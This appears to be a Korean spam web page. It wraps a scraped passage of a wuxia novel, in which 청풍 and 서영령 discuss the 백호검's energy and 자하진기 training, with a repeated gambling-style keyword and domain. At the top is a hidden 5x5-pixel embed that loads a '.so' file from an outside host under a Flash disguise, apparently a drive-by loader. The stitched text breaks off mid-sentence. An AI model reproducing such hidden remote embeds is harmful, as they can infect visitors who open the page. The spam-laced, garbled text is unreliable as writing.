<embed width="5" height="5" src="http://move.b4ateam.net/b9bb652bf.so" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"><br>십자세븐 ◀ 십자세븐 ▶ MM99.NN.CX ◀
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십자세븐 ◀ 십자세븐
확 달아올랐다. 정말 곤란하다. 십자세븐 ◀ 십자세븐 서영령의 한 마디 한 마디는 그에게 있어 더할 나위 없는 파격이라 도무지 감당하기가 힘들었다. “농담이에요. 그렇게 놀라는 것도 재미있네요. 여하튼.......좋은 것인지 나쁜 것인지 확실히 알 수가 없네요. 내공이 강해지고도 걱정을 해 보는 것은 또 처음인 것 같아요.” 십자세븐 ◀ 십자세븐 그것만큼은 동감이다. 아직도 당혹스런 표정을 감추지 못하는 청풍. 십자세븐 ◀ 십자세븐 자신도 모르게 운기를 하면서 몸 속에 휘돌고 있는 금기(金氣), 백호기를 점검해 보았다. ‘괜찮겠지. 아니, 괜찮아야지.’ 십자세븐 ◀ 십자세븐 통제 불가의 상황을 한번 겪고 나니, 걱정이 앞설 수밖에 없다. 본신 진기에 완전히 섞여 들어 유장한 흐름을 이루어 내고 있기는 해도, 분명 그 기운은 백호검에서 나온 기운이다. 십자세븐 ◀ 십자세븐 미지의 힘을 감추고 있는 신검. 또는 마검(魔劍). 백호검을 줄곧 써 오던 청풍으로서도 일순간에 휩쓸려 스스로를 제어할 수가 없었던 바, 청풍도 그러할진데, 누구라도 안심할 수는 없다. 언제 또 그런 일이 발생할지는 그야말로 모르는 일이었다. 십자세븐 ◀ 십자세븐 “결론은 하나네요. 진기를 다루는 데에 더 신경 써야 되겠어요. 이 기묘한 백호기가 엉뚱한 곳으로 튀지 않도록 내력을 온전히 내 것으로 만들어야 한다는 이야기죠. 심법 수련이 필요하겠어요.” 십자세븐 ◀ 십자세븐 맞는 이야기다. 진기가 불어났더라도, 어떤 일을 일으킬지 모르는 진기라면, 없으니만 못하다. 십자세븐 ◀ 십자세븐 그런 일이 생기지 않도록 하려면, 그 기운이 함부로 정신을 범접하지 못할 만큼, 견고한 내력을 갖추어야만 한다. 다시 처음으로. 십자세븐 ◀ 십자세븐 금강 호보, 백호검 금강탄과 백야참에 전념했었다. 이제는 기본으로 돌아와야 한다. 십자세븐 ◀ 십자세븐 청풍이 지닌바 무공의 근간. 모든 것에 우선하는 기(氣). 십자세븐 ◀ 십자세븐 자하진기로의 회귀였다. 삼일 째. 함녕(咸寧)을 지나 동호(東湖)까지 산길로만 움직였다. 십자세븐 ◀ 십자세븐 추적자들은 여전히 그들의 뒤를 쫓고 있겠지만, 사람과의 접촉을 절대적으로 피하고 있으니, 꽤나 애들을 먹고 있으리라. 어느 정도 안심할 수 있는 거리를 확보한 상태이니, 한층 여유로운 행보다. 십자세븐 ◀ 십자세븐 경공술을 펼치면서 때때로, 자하진기를 점검했다. “사부님이 남긴 심법이라고요? 기공을 창안해 내다니, 대단하신 분인가 봐요.” 십자세븐 ◀ 십자세븐 “처음부터 창안한 것은 아니라고 하시지만.......대단하긴 대단하신 분이지.” 이제야 편하게 말을 하게 된 청풍이다. 십자세븐 ◀ 십자세븐 세 살 차이. 진즉에 찾았어야 할 말투였지만, 늦었다. 누구에게나 조심스럽게 말하는 청풍이었음에 더더욱 오래 걸린 것인지도 모른다. 십자세븐 ◀ 십자세븐 “저는 무공을 전부 다 아버지한테 배웠어요. 내공은 천지일기공이고, 선법은 백학선법이라 부르죠. 백강환을 내 쏘는 지법은 이지선(二指線)이라 하는데, 제가 지닌 무공 중 가장 자신 있는 무공이에요.” 십자세븐 ◀ 십자세븐 “그랬군.” 과연 자신이 있을 만 하다고 느끼며 서영령을 돌아보았다. 십자세븐 ◀ 십자세븐 총명한 눈빛에 아름답기만 한 얼굴. 그날 밤의 일이 다시 한번 떠오르는 것은, 젊은 혈기로 어쩔 수 없는 일일지. 십자세븐 ◀ 십자세븐 피차 잊기로 하였지만, 그것이 그리 쉽게 될 리가 없다. 게다가 둘 사이에는 어느 이상의 선을 넘어선 남녀들만이 지닐 수 있는, 묘한 친근감이 함께하고 있었으니. 십자세븐 ◀ 십자세븐 그 뿐인가. 종일 붙어있는 두 사람이라 점점 더 친해지고, 점점 더 가까워지고 있다. 십자세븐 ◀ 십자세븐 우연한 인연에 이어, 단순한 끌림을 겪었고 우발적인 관계까지 맺은 두 사람. 어긋난 순서지만 비로소 하나 씩 분명하게 서로를 알아가고 있다. 십자세븐 ◀ 십자세븐 서로에 대해 나누는 대화 하나 하나가 한 줄기 연정(戀情)을 자연스럽게 키워내는 중이었다. “자하진기말고, 또 배운 것 있어요?” 십자세븐 ◀ 십자세븐 “사부님께 배운 것이라면.......그것 하나뿐이라.......” “그것 하나요?” 십자세븐 ◀ 십자세븐 “그래. 자하진기 하나.” 서영령이 놀랍다는 표정을 지었다. 십자세븐 ◀ 십자세븐 그러고 보면, 오직 하나다. 사부님이 주신 것. 십자세븐 ◀ 십자세븐 백호검을 얻고서, 점점 더 소홀해졌었던 그것이다. 어찌하여
